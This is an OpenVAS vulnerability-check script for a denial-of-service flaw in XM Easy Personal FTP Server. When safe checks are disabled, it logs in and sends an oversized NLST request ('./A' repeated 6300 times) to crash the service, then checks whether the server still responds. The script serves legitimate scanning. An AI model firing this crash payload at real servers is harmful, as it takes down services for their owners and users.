###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_xm_easy_personal_ftp_dos_vuln.nasl 5237 2009-10-21 22:48:26Z oct $
#
# XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability
#
# Authors:
# Sharath S <sharaths@secpod.com>
#
# Updated to CVE-2009-4048
#  - By Maneesh KB <kmaneesh@secpod.com> on 2009-11-24 #5879
#
# Copyright:
# Copyright (c) 2009 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(801120);
  script_version("$Revision: 1.0 $");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"risk_factor", value:"Medium");
  script_cve_id("CVE-2009-3643", "CVE-2009-4048");
  script_bugtraq_id(37016, 36969);
  script_name("XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability");
  desc = "
  Overview: This host is running XM Easy Personal FTP Server and is prone to
  Denial of Service vulnerability.

  Vulnerability Insight:
  - The flaw is caused due to an error when processing directory listing FTP
    requests. This can be exploited to terminate the FTP service via overly
    large 'LIST' or 'NLST' requests.
  - An error when handling certain FTP requests. By sending a specially-
    crafted request to the APPE or DELE commands, a remote authenticated
    attacker could cause the server to stop responding.

  Impact:
  Successful exploitation will let the attackers to cause a Denial of Service
  in the affected application.

  Impact Level: Application

  Affected Software/OS:
  Dxmsoft, XM Easy Personal FTP Server version 5.8.0 and prior

  Fix: No solution or patch is available as on 24th November, 2009. Information
  regarding this issue will be updated once the solution details are available.
  For updates refer, http://www.dxm2008.com/index.htm

  References:
  http://osvdb.org/58542
  http://secunia.com/advisories/36941/
  http://xforce.iss.net/xforce/xfdb/54277
  http://xforce.iss.net/xforce/xfdb/53643
  http://packetstormsecurity.org/0910-exploits/XM-ftp-dos.txt

  CVSS Score:
    CVSS Base Score     : 5.0 (AV:N/AC:L/Au:NR/C:N/I:N/A:P)
    CVSS Temporal Score : 4.5
  Risk factor: Medium";

  script_description(desc);
  script_summary("Check the version of XM Easy Personal FTP Server");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Intevation GmbH");
  script_family("FTP");
  script_dependencies("gb_xm_easy_personal_ftp_detect.nasl", "secpod_ftp_anonymous.nasl");
  script_require_keys("XM-Easy-Personal-FTP/Ver");
  script_require_ports("Services/ftp", 21);
  exit(0);
}


include("ftp_func.inc");
include("version_func.inc");

xmPort = get_kb_item("Services/ftp");
if(!xmPort){
  exit(0);
}

xmVer = get_kb_item("XM-Easy-Personal-FTP/Ver");
if(isnull(xmVer)){
  exit(0);
}

if(!safe_checks())
{
  soc1 = open_sock_tcp(xmPort);
  if(soc1)
  {
    user = get_kb_item("ftp/login");
    if(!user){
      user = "anonymous";
    }

    pass = get_kb_item("ftp/password");
    if(!pass){
      pass = string("anonymous");
    }

    ftplogin = ftp_log_in(socket:soc1, user:user, pass:pass);
    if(ftplogin)
    {
      send(socket:soc1, data:string("nlst ", crap(length: 6300, data:"./A")));
      close(soc1);

      soc2 = open_sock_tcp(xmPort);
      resp = ftp_recv_line(socket:soc2);
      if(!resp)
      {
        security_warning(xmPort);
        exit(0);
      }
      close(soc2);
    }
  }
}

# Check for XM Easy Personal FTP Server versions <= 5.8.0
if(version_is_less_equal(version:xmVer, test_version:"5.8.0")){
  security_warning(xmPort);
}
